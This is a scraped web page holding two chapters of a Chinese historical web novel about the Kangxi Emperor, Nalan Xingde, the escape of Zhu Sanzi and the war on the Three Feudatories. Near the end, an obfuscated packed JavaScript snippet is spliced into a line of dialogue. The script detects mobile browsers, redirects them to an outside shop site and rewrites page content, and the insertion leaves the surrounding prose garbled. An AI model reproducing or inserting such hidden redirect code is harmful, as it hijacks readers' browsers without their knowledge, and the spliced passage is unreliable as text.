“吴应熊不是刚死吗?”云辞不解阿玛为何大惊小怪,“照着时局来看,皇上也该明白禹画师的忠心和用心。” “要献画可以,你叫禹之鼎自己去。”朴尔普稍作让步,“别真牵连了你我父女。” 云辞固执:“如果女儿一定要跟着呢?” “好,你要跟着——”朴尔普计上心头,“那阿玛现在就派人道明珠家里去,把你和禹之鼎的行动都告诉纳兰性德。” “阿玛。” “到时候你们三个人一起出现在皇上面前,皇上揣测的就不单只是画的含义了,更是你们之间的关系。看你怎么圆场。” “女儿……”云辞一咬牙,“不跟着去就是。” “这就对了。”朴尔普欣慰一笑,“女儿,你有空陪禹之鼎作画和讨论洋人洋货,还不如多想想自己的嫁娶之事,你看看,我纳兰贤婿都主动写诗给你了。” “那是答谢诗,不是表白诗。” “即便是答谢诗,你也要当表白诗看。” “女儿,先请告退。” “去吧!”朴尔普开恩似的追加了一句,“今晚叫禹之鼎过来厅里一起吃饭,吃汉家菜。” “汉家菜?” “是啊。府上新来了汉人厨子,让禹之鼎来辨汉品佳肴好不好吃,不是正好合适吗?” 云辞敏锐道:“阿玛,你不会是想把‘纳兰一家子前来拜访’之事,拿到禹画师面前大说特说吧?何必这般费心思?” “你误会了。”朴尔普拒不承认,“阿玛真的只是叫禹之鼎来吃汉家菜。” 走回房间的路上,云辞只感觉: 阿玛真是闲得慌,才会无事生非,“欺人太甚”。 要是阿玛年轻个十八岁,就该自请上“平三藩”的前线去为国立功。 * 李光地和高士奇一同来到书房,就今日之事给康熙皇帝回话。 李光地道:“回皇上,吴应熊真是个君子,赴死的时候,据说连眼睛都没有眨一下。臣跟高大人只是看到了吴应熊的背影,但那也是高挺不屈啊!” “李大人你如此长逆贼吴三桂之子的志气,真是叫本官心寒。”高士奇反驳道,“吴应熊不管有罪无罪,做没做伤天害理之事,他作为吴三桂之子,就该死。别说他,他的兄弟和家人也一样该死。” “臣和高大人一同请了皇上的意思,”李光地问,“接下来是否立刻整顿军备,南下攻打吴三桂?” “谁跟你一同?”高士奇连连摇头,“皇上,臣以为当下之计,应当等吴三桂主动出击,我军才好迎战而上、师出有名。” 康熙觉得,眼前两人很有索额图和明珠的味道。 国家大事当前,明索两党的意见必定相左。 “朕早有主张,第二轮的三藩之战,双方是打定了。至于我方军队是进是守,朕会跟懂军事策略的将领商议之后,再在朝堂上公诸于众臣工。” “皇上,主将的任命事关重大。”李光地进言,“您切勿按照自己的性子来拍板,还应该召开议政王大臣会议来共同决策才是。” “皇上早已不是少年天子,判断力和决断力都已经公表于人前,且在军国大事上能够稳拿对头的主意,何需议政王大会议来左右?”高士奇反对索党之人道,“还是说李大人怕明党占了上风,非要把亲索党的那几位亲王和贝勒拉出来,说些于战事无益的话来扰乱圣心?” 李光地竟然仰天一吼:“左右大将由谁担任,关系到大清的存亡啊!” 高士奇挑眉一冷笑:“只要无人从中做梗,大清自然不会亡!臣相信皇上任命左右大将的眼光。” 康熙皇帝道:“朕虽没有出阵的经验,但是自幼熟读变通兵法兵书,也从地形图中看出了许多战略与战机。一场战争能否取胜的关键,武力在第三,人和在第二,主将的心是不是赤城忠勇才是最重要的。朕之择任,自会谨慎。” 高士奇顺应明党的意思:“皇上,臣主张任人唯亲。” 李光地则是拿出了索党的一套:“臣主张由议政王大臣会议推举裁决。” 康熙皇帝才说了一番大战当前,不宜再搞党争的话,就听见了从远而近的好大一阵骚动声。 “万岁爷,急报——!!”顾问行匆匆推门而入,“曹寅曹侍卫和图海将军,在草原的羊毛堆中觅得朱三太子身影!” 107.第107章 康熙皇帝一字不差地看完军报,对李光地和高士奇道: “你俩各自去告诉索额图和明珠,就说:朱三太子找到了,叫他俩不必有所谏言或是私下行动。” 等到李光地和高士奇都走了。 顾问行道:“万岁爷,曹侍卫和图海将军还等着您的指示行事呢,您是否现在就写下批复?” “朕想自己的陪臣了,你叫人去把他叫到朕身边来。朕想问问他的意思。” “奴才这就吩咐下去。” * 纳兰来了以后,玄烨开门见山道: “朱三太子躲藏在草原上储存羊毛的仓库里,已经被曹寅等人拿下。曹寅等人亦向朕确保,所拿下之人身份无错。你说,朕应当下令就地将朱慈焕杀了?还是命人将他带回京师,亲审后再杀?” “臣以为,应当将朱三太子就地处死。”纳兰心里极其抵制一个“死”字,“将他押卸回京,路途漫长,几经辗转,恐生变故。” “要是吴应熊和朱三太子连死,南明势力是否会联合吴三桂一并反了朕?” “朱三太子是自己想当皇帝,而不是被南明势力拥立为新君,所以皇上不必担虑。南明势力,当下应以招抚为主,承认他们存在的意义,准许他们的吃穿用度都照旧不变,再顺便给他们的头领封个国主,他们自然会对清廷感恩戴德。” “你不怕自己的想法太乐观?” “臣是给皇上说事实,不是说漂亮话。” “那吴应熊死了的消息一旦传到吴三桂耳中,你说他会怎么反?残害百姓?还是北上逼宫?” “皇上应该考虑的是吴三桂会以怎么样的速度反,而不是反到什么程度。恕臣直言,当下严冬,作战最要紧的是马匹和粮草,皇上督促过兵部了吗?要是没有,就是时候下旨让他们去筹备了。” “之前你说让裕亲王福全和安亲王岳乐分别为左右大将军,率兵攻打吴三桂。朕跟太皇太后商议过了,觉得此法可行。” “皇上请亲自去向两位王爷授帅,一来可以彰显重视,二来可以鼓励士气,比在朝堂上居高临下地下命令强。” “你跟朕同去。” “臣份量不够,请皇上与臣的阿玛明珠同去。” “朕说你够份量,你就够。明珠没有你的风骨,再加上朕也不想听明珠那些听起来头头是道、实际上却假大空的话。” “好,臣与皇上一同。” * 一些时日过后,身处蒙古的曹寅等人仍旧没有等到康熙皇帝的批复。 而朱三太子,竟然做出了“火烧羊毛”之事。幸好谋士周培公及时发现,否则后果不堪设想。 图海将军做出了将朱三太子用锁链捆绑的指令,三员精兵立刻照做。朱三太子远远没有吴应熊安份,而是仗着自己曾是大明王朝的血脉的“千金之躯”,大骂康熙皇帝和满清王朝。 周培公毫不客气地将一桶冷水泼到朱三太子脸上,训道:“你给我醒醒,如今你只是个阶下囚,命如薄纸,死前怎么不给自己积点口德?” “我朱慈焕不会死在康熙手下,残害大明皇裔,不正统的满清王朝必将灭亡!” “要不是我眼里有皇上、心中有朝纲,”曹寅一踢地上的木桶,“早就将你先斩后奏了!” 就在朱三太子要吼出“凭你,也敢杀我”的时候,一众不知是从漠南蒙古还是漠北蒙古而来的兵马,气势汹汹地从外头杀入,竟不知是为了“反清”还是“营救朱慈焕”。 曹寅等三人临危不惧,迅速集合带来的精锐士兵,布草原适用的“虎落平阳”阵,欲“以少胜多”来抗衡来路不明的兵马。 黑风卷带黑云而来,马蹄声声破草冰。 有酒应当开怀猛灌,好骁勇为国杀敌。 曹寅站在图海将军和周培公面前,直面不善的来者。 那队人马终于停在了帐前,报上了身份。 “我等是蒙古格僧科沁部之人,清廷宁愿忍让噶尔丹欺凌周边部族、也不愿将我等的利益放在眼中,岂非要逼整个草原谋反?” 曹寅仰头看着那位不肯下马的蒙古人,道: “大清天子不对噶尔丹动武,是因为双方缔结了姻亲之好,相互牵制,不可违背盟约;你等各蒙古部族之人,若是各旗之间强强联手御敌、不各行其是,又怎会落到今日唇亡齿寒、反而怨恨于大清的局面?” “我等联合周边部族共同上书康熙皇帝请求支援,从未得到过回应。”首领萨尔库不满道,“康熙皇帝无视我等死活,我等又何须顾及清军死活?倒不如杀个两败俱伤,看到头来鹿死谁手。” “大清与蒙疆藏三域,向来以和为贵。”曹寅有力道,“大清天子对你等部族早已裁剪税赋和免除定期朝拜述职之累,为何你等依旧记恨于皇恩?” 首领萨尔库大笑,道:“康熙皇帝难道不知道吗?他所减免的赋税与纳贡品,我等部族依旧一无所有,全被噶尔丹掠夺了去,用作噶尔丹自身的名义来孝敬朝廷。” “此事我回去之后,一定奏明皇上。” “不必了,今日我萨尔库要是活捉了你们三人,又取下了朱三太子的人头,就等于是有了跟康熙皇帝叫板的筹码,一切要求,康熙皇帝不敢不满足。” “你要是觉得有能耐心想事成,就放马过来吧!” 曹寅后退数步,他身后的一干精兵就从两侧绕上于前,与蒙古格僧科沁部的人马对峙。 “杀——” 首领萨尔库一声令下。 双方激烈地交战起来。 曹寅也没有躲进帐内自保,而是拿起了武器,与图海将军和周培公一同上阵杀敌。 反观那朱三太子,竟然一脸高傲,还当自己是高贵的皇亲国戚,生死自有天佑,不为战况所左右。只见他不知轻重地一声又一声地帐中叫好,将手脚上的铁链甩的咔嚓卡嚓响,就跟是看热闹一般,当起了观众。 真是叫人所不耻! 双方在马背上用冷兵器交战,刀枪相碰,声响凄厉。 有血飞溅、有人落马;有马失蹄,有马昂扬;有人保命,有人牺牲。一幕一幕,一战一战,将原本应当寂寥的冬季草原翻弄的喧嚣不止。 图海将军擅长弓箭,就在首领萨尔库长驱骏马冲向朱三太子的时候,图海将军一箭正中萨尔库的后背,那人就从马背上摔了下来,发出了一声大叫。 朱三太子哈哈大笑,不但不感激图海将军的救命之恩,反而是双手合十,仰头大喊:“多谢朱家列宗列祖保佑,玄孙朱慈焕永生不死!” 所谓:擒贼先擒王,射人先射马。 蒙古格僧科沁部的首领萨尔库被图海将军拿下之后,追随他的兵力瞬间乱了阵脚,在窜逃之中伤亡过半,剩下那些负伤而无力挣扎的,竟然不向清军求饶,而是就地自尽,以求保全最后的尊严。 曹寅完全没想到事态会变成现在这样,该如何向康熙皇帝回应? 直截了当地这般写信吗—— 臣等将朱三太子用铁链拴住手脚、以防他再生事端之后,就迎来了格僧科沁部的一众兵马,首领萨尔库被图海将军一箭射中后背,直穿心脏,生死未卜。其余蒙古骑兵,除开侥幸逃走的,几乎无所活命者。 臣等恳请皇上马上做出批示,是否就地诛杀朱三太子以正天威?是否办完诛杀朱三太子之事后,就立刻返回京师? 如今草原局势大乱,有了格僧科沁部起兵的先例,其他部族必定纷纷效仿,即便是重蹈覆辙、不计人命,也会兴乱于草原之上。 噶尔丹虽然残暴且不讲信用,但是为了大清江山稳固,臣等还请皇上要多忍让噶尔丹几年:唯有“以蒙古人治蒙古人”,才能叫噶尔丹平息草原部族的叛乱啊! 臣等深知皇上看到此处,会心生不悦。 但是臣等还是要力劝皇上反思己策和己过:蒙古各部族之所以叛乱,一是受了噶尔丹欺压,二是痛恨朝廷包庇噶尔丹而无视其他部族的利益,三是不想让天下太平。 臣等一致认为,皇上在权衡利弊之后,须下令噶尔丹为朝廷办事,这不是迫不得已,而是权宜之计。 “嘶——呦呜——” 骏马高抬前蹄,发出了一声悲鸣。 曹寅惊讶地朝帐前一看,竟然是首领萨尔库自己把箭矢从后背拔了出来。 下一刻,萨尔库猛地用双手紧握箭杆,将尖锐的箭头往自己脖子里狠狠一割,自尽而亡。 众人大惊,唯有血腥味漫天,马鸣寒瑟瑟,可怕的很! 曹寅走上前去,用手掌扫过萨尔库的脸,让他死的瞑目,然后大声对清军的众精锐将士道: “你等都是为皇上效力之人,这场战事已经结束,不可再惊慌。速速归营重做休整吧!我想,天子召令回京师的日子就快到了。” * 且不说康熙皇帝收到急报后,气得一扫桌面上的笔砚,怒道: “照着曹寅那边意思,境况是变成了:朕有求于噶尔丹平定蒙古各部族叛乱,和对噶尔丹怀有敬畏心和感激心了吗?朕当了十二年皇上,什么时候受过这样的屈辱?” 纳兰不在。 顾问行和梁九功都不敢说话,只能站在康熙皇后身侧小心伺候。 就说索额图大骂李光地不识圣心,自己即将要启程去视察边境“沙俄来扰”事件的前夕,忽然听到了一个大情报。 管家问:“老爷,一个好消息,一个坏消息,您先听哪个?” 索额图逻辑如旧:“先说好再说坏。” “好消息是长公子阿尔吉善还活着,他在流放地打起了十二分精神做事,打算卷土再寻找契机回京师。坏消息是二公子格尔芬跟明珠家的贵公子纳兰性德一起,说是要……要一同到城门下去迎接曹寅、图海将军、周培公等人。” “混账!”索额图瞬间上火,“阿尔吉善是想逃窜回京扫本官的颜面吗?明珠家事格尔芬参合什么?” 夫人佟佳氏提醒:“老爷,是国事。” 索额图这般骂纳兰父子:“老狐狸和小狐狸一起筹谋之事,都是见不得光之事!” “是。”佟佳氏无奈,“好在格尔芬只是想去迎接从蒙古而归的那些人,而不是嚷着要去给——裕亲王福全和安亲王岳乐的平藩战役壮行。” “夫人以为格尔芬不敢吗?”索额图抽了一下鼻子,“他还以为自己这么做,是出息了、给赫舍里一族增光了呢!” “老爷消消气,将来您不在家,妾身替您多管教儿子就是。” “前有我想杀纳兰叫长子阿尔吉善顶了罪,后有我的次子格尔芬不认我这个阿玛处处向着纳兰,现在明珠八成是在想:索额图想让次子给纳兰这块珠玉染尘吧?” “老爷,你管明珠怎么想?”佟佳氏客观道,“儿子可是咱们自己的,格尔芬想跟纳兰性德一起见识‘归旋’和‘出阵’的场面,也没错。” “也是。”索额图觉得夫人言之有理,“即便是我不在朝中,我的心腹和党羽都还在,不会叫格尔芬闯出什么祸来。” * 康熙皇帝和纳兰性德一起,先后登临裕亲王府和安亲王府之日,是个雪停的晴好天气。 康熙皇帝亲自将帅印、军令牌、战甲、皇室宝刀、皇室弓箭、腰间佩刀这六样东西授予安亲王岳乐。 后,康熙皇帝亲口道:“安亲王,朕任命你为:定远平寇大将军,与裕亲王福全一同征战三藩!” 岳乐领旨,跪谢皇恩。 “臣一定不负皇上期望,早日去除大清江山的心腹大患!” 康熙皇帝将岳乐扶起,“安亲王你战功赫赫,深谋远虑,想必这次上战场一定会得上天庇佑、万民拥护,取胜而归。” 岳乐听出了康熙皇帝的话中端倪,“深谋远虑”与“万民拥护”这两个词,分明是怕自己有“立功之后,称帝称霸天下”之嫌啊! 岳乐正色道:“臣效忠大清效忠皇上,这次制敌,不敢居功,自当粉身碎骨、死而后已。” 康熙皇帝神色笃定,态度平和道:“安亲王你是大清的顶梁柱,朕尊敬你、信任你、委托 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“王爷误会。”纳兰解释,“我的想法至始至终都是将朱三太子就地了结性命,以免节外生枝。且我还劝皇上,处死朱三太子之后,就该立刻招抚南明势力和肃清反清余党,最后再昭告天下,以断绝‘假冒朱三太子之名’来敌对我大清之人的妄念。” “你是个明白人,只可惜皇上未听你谏。” “皇上的做法我理解,听朱三太子的临死真言,或者说骂言,算是皇上极致的自我忍耐和给明太祖朱元璋留了颜面。” 在玄烨的点头中,纳兰继续道:“将来皇上南巡拜谒明孝陵,可有底气地说出:朕祭拜大明开国皇帝,是千古盛德之举,想必诛杀朱三太子,亦能得到谅解。” “轰隆——” 三人仰头一看,天际毫无变化,夜幕无闪电裂空。 纳兰判断:“皇上王爷,不是雷声,是炮声。” 玄烨震惊而起:“夜起炮响,百姓必惊,朕尊严何在!” 纳兰冷静地将皇上劝坐,“炮响之因未明,不一定是烽火之兆,是军械走火也未可知。” “朕早该听了你的进谏,叫兵部督促粮草和检查军备。”玄烨一脸懊悔,“秋雨冬雪接连不断,再强大的红衣炮阵,也经不起露天放置的天公摧残啊!” “尚不迟。”纳兰看向声响传来的方位,“炮台虽有磨损,但是弹药储存在仓库,仍是完好。请皇上下令:调动兵部力量重筑炮台;召集民间工匠打磨老化钝化的军备;让工部协力各项工程进度、共铸兼任防线。” “准奏。” 玄烨不顾夜色,当即叫身边的一等侍卫布哈泰先一步回宫,照着纳兰的话去传皇帝口谕。 岳乐对君臣佩服道:“侧臣忠耿,皇帝英明,行事速决,是我大清之幸。” 玄烨左右握住纳兰和岳乐的手,感慨道:“朕身边有贤臣、有贤王,是万幸之幸啊!” * 福全和岳乐挂帅征讨三藩之事,就这么定了下来。 两位王爷身披康熙皇帝亲赐的黄金战甲,率领战斗力最强、吃苦力最优的兵力挥师南下。 军阵从皇城走出,路过街道之时,老百姓们皆是夹道鼓舞士气,盼切两位王爷凯旋而归。 岳乐跟福全合计过后,决定先进军江西,在江西的平原之上扎营,以避免陷入险峻山地而中了贼军埋伏,进退无路。 清军在江西稳住阵脚之后,岳乐做出指示: “我方保持实力,不与吴三桂正面交锋!只先集中力量切断平西王与耿精忠的联系,再做下一步计划。” 岳乐的战略部署非常恰当,他深知: 这场战役要想取胜,关键不是在吴三桂的人马能否渡河,而是在两方军队谁能够夺取江西。 只有占领了江西,才能砍掉吴三桂的两方盟友:耿精忠与尚可喜。 而且—— 吴三桂的人马虽然勇猛,但内部却状况多发,上下军心并不统一,将帅兵三者不和,是作战的大忌;吴三桂整体的战线拉的太长,粮草的补给速度和用量根本跟不上,这就使得人马的战斗力大大下降,给了清军制胜之机;吴三桂生性残暴,失去军心和民心已久,一旦得病无法动武,必将一溃千里。 岳乐深思熟虑:最终定在湖南与吴三桂决战。 他颁布军令状道: “前线将士,英勇杀敌者,按功行赏;逃窜畏惧者,知而杀无赦。后勤之师,巧传物资者,必有嘉奖;自乱阵脚者,知而处极刑。另有军中幕僚军师,出佳策定军心者,奖赏皆有;欺军误战者,知而斩立决。” 将士、后勤之师、幕僚军师,三方皆响应。 在严明的军纪和得当的配合下,清军势如破竹,在湖南与吴三桂的叛军进行殊死决战。 叛军因饥饿、士气低沉、马匹难驭等原因,逐渐陷入被动挨打的局面。 等到岳乐和福全亲率精兵杀入中军帐中之时,叛军已经全线动摇!叛军的主将,有“小吕布”之称的夏忠全和马进宝竟然主动交出将印,投降清军! 吴三桂得知夏马二人投降的消息,一口鲜血冲天喷涌而出。 就此一病不起,苟延残喘于自建的行宫之中。 * 前线捷报连传。 康熙皇帝决定:等到“二征三藩”的战役结束以后,自己要亲自出城迎接岳乐和福全,还要对全军将士大加封赏。让天下万民同乐、共享太平盛世。 曾经如日中天的吴三桂,如今已是奄奄一息之态;曾经不可一世的耿精忠,如今已是投降乞饶;曾经摇摆不定的尚可喜,如今已是被狠戾的亲儿子尚之信囚禁于家中,几欲悬梁自尽! “三藩倒矣!三藩将要平矣!只差最后一击!!” 康熙皇帝的声线颤抖而激动。 “奴才等恭喜万岁爷!” 顾问行和梁九功同时喜悦道。 康熙皇帝正要派人去把好消息告诉太皇太后和陪臣纳兰,却不想听到了一个意外的事实—— “你说什么?”康熙皇帝怒问传使,“朱三太子逃走了?” “回皇上,此事千真万确,奴才不敢造谣。” 108.第108章 “这事不必声张,沿途搜查朱三太子踪迹,民居林地冰潭都不可以放过。朕真是不解,朱三太子不是手脚都戴着锁链吗?如何还能逃走?” 传使道:“要不是军中有内奸,就是那朱慈焕得了天助的本事,自己解开械具逃跑了。” 玄烨威稳道:“不管朱三太子有没有被找到,朕亲自迎接曹寅、图海将军、谋士周培公回朝的决定,都不会变。” “是!有皇上天威在,自可惩奸除恶。”传使对康熙皇帝一拜,“奴才这就去把皇上的意思带给曹侍卫等人。” 纳兰在去见康熙皇帝的路上,思索着要不要把从沈宛口中听得的—— 有关张岱先生的两大“行文之举”告知皇上。 在纳兰看来,虽有“平定三藩的捷报”和“消灭一众蒙古兵马的好消息”在前,但玄烨不见得能够容忍张岱先生一而再再而三的“错行”。 张岱先生坚守情操和笔耕不辍固然值得尊敬,但也要合时宜才行。 一字不谨、一言不慎所带来的后果,往往比固步自封要来得残酷。 但是自己曾答应过皇上,君臣之间不有所隐瞒,就该信守承诺。 为了避免日后可能会酿就的恶果,此事还是让玄烨心里有数的好。 * 书房中。 纳兰踏入后,看见了正背着手站在一幅《二虎威镇山河图》的大型画卷面前的玄烨。 再走近一看,画作的盖章,是“禹之鼎”三个字。 玄烨转身,摆了摆手,“朕今日不想跟你说这幅画的事。” 纳兰问:“那可否先请皇上听臣说一件事?” “准了。” 玄烨心想:纳兰要说的事,再怎么着也不会比“朱三太子逃走”之事要不济吧?除非是福建的靖南王耿精忠刚刚倒下,台岛之众就趁虚而入,堂堂与大清相对峙。 “什么?”玄烨听罢,眉头紧锁,“张岱扬言要为前明王朝的‘伟人’们立传?” “是。”纳兰应道,“包括王阳明、陶望龄、徐文长等人。” 玄烨“哼”了一声,“那张岱写完文人们的辉煌事迹,是不是想把诸位大明皇帝的生平也写遍啊?” “臣不知。”纳兰对皇上察言观色,“只是觉得不该对皇上有所隐瞒,才如实回禀,绝非是叫皇上为此再动干戈。” “张岱眼里是彻头彻尾地没有我大清!” 玄烨记恨道:“前有写文章隐晦反清复明之嫌,后又大兴前明名家学者之实,张岱这是还认为自己活在大明朝吗?异想天开!” “皇上,你就当作张岱先生是为《明史》的编撰出力了吧!” “朕要是继续迁就他,太皇太后那边如何交待?” “不如等张岱花个十年十五年把《三不朽图赞》和《石匮书》都写成了,再追究他的罪责不迟。” “你不该担保他!” “不,臣唯愿世间能多存两部著作,而不是在作品尚未问世之前,张岱就成了永罪天牢的囚犯。” “好!”玄烨恩准,“那就如你所说,朕给张岱一个著书立说的机会。” “皇上圣明。” 玄烨忽然朝纳兰一笑,问他:“你要不要再向朕为张岱讨个恩典,让朕解除了《夜航船》的禁书名录?” “这个。”纳兰亦笑,“臣不敢蛊惑圣心。” 君臣走出书房,边走边聊起了正事。 顾问行和梁九功打着挡雪伞尾随在后,一众宫女和太监则是隔开了好一段距离。 “朱三太子半路逃脱了。”玄烨言简意赅,“朕未下令彻查军中是否有叛徒,只叫人沿途去找。” “暗助要犯逃脱是死罪。”纳兰摇头,“朱三太子好歹是飘荡民间多年之人,习得过开锁之法也未可知。估计被抓住以后,他先采用了桀骜不驯之计,让曹寅等人误以为他张狂无谋、逃不掉,等到行至回京的半途中,他又上演了‘有天相助’的伎俩来,嘲笑于我军。” “你有没有办法引他出来?” “容臣想想。” “皇上,不妨放出消息,就说朱三太子已经被赐死于草原,三藩退败,清军大捷,君心甚悦。天子拟定于年后巡幸江南,经明孝陵。” “纳兰,你这个想法妙啊!”玄烨大喜,“一个‘经’字,模棱两可,叫天下人难以揣测:康熙皇帝是打明孝陵经过?还是去朱元璋的陵寝处拜谒?却能够激起有强烈的宗亲之情的朱慈焕的愤怒。朕想,朱慈焕肯定会自动现身,联合一切能够联合的势力反朕。到时候,朕就来一个瓮中捉鳖。” “臣祝皇上心想事成,大清山河永固。” 走到雕栏处,玄烨道:“朕记得,咱们都还是少年的时候,你在冬天爱站在这儿眺望朕的朝堂,你老实说,是不是想站在众臣工当中,成为之一?” “只要皇上肯给臣这个机会,那不管臣是什么身份,都会做到忠孝两全。” “虽说天下权力都在朕手中,但是朕也有许多顾虑啊!纳兰你要理解朕。” “其实臣知道,能否站上朝堂全凭皇上一句话。”纳兰忽然觉得自己可笑,“在皇上跟前和在皇上身边,在皇上看来差别很大吧?一个是臣服,一个驯服,皇上宁愿把纳兰当作——” “别说。”玄烨止住纳兰的嘴。 “臣要说。”纳兰移开玄烨的手,“这会儿不说,以后怕是没机会说了。” “皇上宁愿把纳兰当作一块衡量得失的镜子、一个制衡父与君的天枰、一位笔写风月的词客、一名可以说心里话的近侧,唯独不想纳兰沾染一个‘官’字。就好像纳兰一旦跟阿玛明珠并肩,就会给皇上造成威胁一样。” “你说的对,但朕是为了保护你。” “是保护,也是束缚。” 纳兰心里难免悲伤。 ——争而不能争,因为无所得;怨而不能怨,因为无从消;恨而不能恨,因为不偿失。 ——“有名无实”和“名存实亡”,也没什么分别,纳兰容若在世,不过是风烟一抹。 * 一日午后,容若跟沈宛走在树林里。 不冰不暖的阳光,透过光秃秃的树干落在身上,如影随形。 “宛卿,我探过皇上的意思了,张岱先生接下来的笔墨文章可以尽情写,等过个十年十五年再论功过是非。这是我能争取到的最长时限了,长到张岱先生把著作写完,我都不知道自己有无机会去翻阅。” “容若你别这么想。”沈宛缓步不离,“来日方长,人生百年。” “那如果我没机会看张岱先生的完稿,就由你代我看吧!到时候你再跟我说一声。我归做星辰也好,化作清风也罢,定能有所感知。” 看着容若清澈的眸子,沈宛犹豫在回应“好”与“不”之间。 人言:在世修得菩提之人,多懂一生悲欢,一生长短。 公子淡如水中芙蓉,早已悟透凡尘是非,只春秋枯荣。 “容若,你总是记得别人说过的每一句话,知道别人对你的所求是什么。你总是替别人着想,为别人力求一个最好结果。” 沈宛道:“我替张岱先生谢谢你。” “最近我没有时间编书。”容若看着眼前没有尽头的路,“皇上倾力平定三藩、扫清反清势力、凝聚天下异心人……我的话,皇上有的听有的不听,但是我还是高兴皇上给了我说话的机会。” 沈宛猜测:“你父亲——” “是啊,我阿玛已经许久不得皇上传见,近来的早朝皇上也是匆匆结束,基本上没有耐心听大臣的上奏。原本我以为是皇上焦虑军国大事,所以浮躁,直到前几日我才发现自己错了。” “公子觉得自己错哪了?不,公子永远不会出错。” “皇上对我的信任,别有所在。我适应过和看透过许多皇上对待我的方式,唯有‘保护’二字,让我觉得沉重。” 容若微微仰头,看向湛蓝的天空。 容若坐到一块熟悉的磐石上,跟沈宛相互偎依着。 有些话,似乎说的越多越明白,就越显得自己可怜。当倾诉变成被同情的时候,心灵的防线会越来越脆弱,不必有谁落石或是助推,已然四分五裂。 有些事,似乎交付镜中流年经过就好,千万不要去捡拾史书碎片。当付出变成较真的时候,一切情份都会变却。求不来永恒,就该认清现实。 容若惘然道:“我害怕陷入到自己的沉思中,一颗心装了太多心事,终究是撑不住的。” 沈宛将脸贴在公子的心脏上,静静听公子的心跳声。 容若半抱着她,道:“这样的时光真好,我就想过这样的日子。有池泽鱼鸟相伴,能看朝阳落日星辰,可听风声虫鸣。慎独而不避世,自往而兼烟火。” “公子接下来就少记挂皇上吧!” 沈宛从容若怀中坐起,“皇上难道不该设立一个‘军机处’来处理军国大事吗?全靠自己拿主意难免有所偏颇。即便是皇上征询于你,你也慎之又慎,怕被议论出不好的名声来,归根到底,还是皇上不肯给你一个‘官位’的缘故。” “所以我说我天真。”容若单手抵在膝盖上,半托左脸,“我还以为官位能够靠‘考取功名’或‘有功社稷’来换取,阿玛明珠也是这般鼓励我的。然而,得到或是得不到,都是皇上肯不肯罢了。” “我懂了,容若你是对帝王心失望。”沈宛敏锐地抓住了关键,“但是你听我一句劝,你现在这么想,为时过早。” “你说的对。”容若短暂合眼表示赞同,“越往后皇权越集中,皇上的猜忌心越重,随着年岁增长,还与皇上论朋友论知己的人,最是不宜与皇上共事。” “明珠大人掌权靠的是积累官场人脉和深谙出事的圆滑之道,索额图半手遮天靠的是家族背景和皇亲关系,恰恰这两点,都是康熙皇帝回避不了、却又深深想改变的。容若你……要是只潜心文学而不与君论天下的话,人生就太寂寞了。” 沈宛细道:“你会想,自己这一辈子,对汉学研究那么深,从小就被培养成了无所不通的人,终究是皇上、太皇太后、明珠大人所不可言说的目的之下的试验品:满人的学问不输汉人、满人可以结交江南文人且得到他们的认可、满人的思辨可与汉人儒术的论高低。” “我,纳兰性德,‘满汉一家’策略的表率。”容若苦笑,“一个受制于天命安排却需要皇上‘保护’的人,一个看似身上有许多东西却可以被皇上轻易夺走的人,一个心志与现实相错位却使得皇上不肯放手的人。” “我,还是一个皇上可以肆意逼杀的人。” 容若垂手搅了搅磐石附近的积雪。 他的神情深邃而坚毅,没有害怕没有后悔,一切游离于现阶段的“身份”与“功名”之外的烦恼,似乎可以随着雪的冷和雪的清而慢慢散去。 他此时的心态很难向沈宛阐述,如果非要用语言来表述,那就是: “能够左右大政方针,是因为自己言之有理;能够针砭时局利弊,是因为自己是非分明;能够一策喜怒圣心,是因为自己坦言无隐瞒。” 换成别的朝代,一样为皇上所不容。 有人侍君至死,留下美名骂名;有人归隐相间,得延年益寿。臣之所以为臣者,皆上之偏见也。这句话真的一点不假。 ——所幸我陪伴明君,在“用”与“不用”之间,早已悟得前程后路,故而无论修得什么因果,都可以接受。 ——所恨明君所不离,在“系”与“不系”之间,早已深知进退两难,故而不计陷入什么局阵,都应当破袭。 “宛卿,再陪我去林子里走一段路。” “好,公子想怎么走、走多久,我都在公子身边。” * 这天晚上,回家以后。 容若从额娘口中得知,宫里莫名其妙有人来问:“纳兰公子是否喜欢吃奶酪馅儿的雪皮汤圆?” 觉罗氏道:“额娘怕生出什么事非来,就说你不爱吃。偶尔品尝,也只是吃着解闷,不做饮食偏好论。” “额娘这般回应好,儿幸得惠儿记挂,吃上了这一碗软糯,心中欢喜。过后有人正好逮着了机会去皇上面前挑拨是非,皇上自然生疑,惠儿自然在后宫遭冷。” “难得惠儿有心,不计险阻温暖了你的胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228807|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、你的心。苦了你俩了。” “后宫的斗争,就跟前朝的党争一样复杂,儿相信皇上会做出公正的判断。” “那就好。”觉罗氏叫容若随她去穴砚斋,“你从蔡启僔蔡先生那里得来的藏书,挪换了搁置的位置,是你阿玛的意思。额娘领你去看看,好让你心里有个数。” “阿玛没事动我的书做什么?” 容若平和的语气之下,带着些对明珠干涉的不满。 “你说呢?你们父子也该谈谈了。” 觉罗氏没有明说理由,只明示了容若接下来该干什么。 * 朱三太子被擒拿当日。 消息传来,明珠大喜,非要容若一起进宫面圣。 渌水亭的长廊中,寒风吹绕父子而过。 “容若,多亏了你的计策,为皇上除掉了心腹大患。朱三太子一死,满清皇族统治的正统性和康熙皇帝的至尊性,就能逐步得到公认。” “没有那么快,这一段路还长着呢。汉人们讲究认祖归宗,对汉文化的传承和对儒家思想的尊崇,都注定了他们不可能完全认可我大清。” “你这话不要在皇上面前说。” “类似的话,儿在皇上面前说过了。” “阿玛没叫你事事顺皇上的心,但你至少不要逆了皇上的心。天子都喜欢听赞颂功德与巩固皇权的话,无论发生什么事,你只要紧扣这两点,就能深的圣心。” “想必阿玛也知道,为什么儿的身份始终是一个:陪臣。敢问阿玛:除了做‘天下的纳兰公子’和‘大清第一陪臣’之外,纳兰性德还有什么值得您和皇上骄傲的地方?” 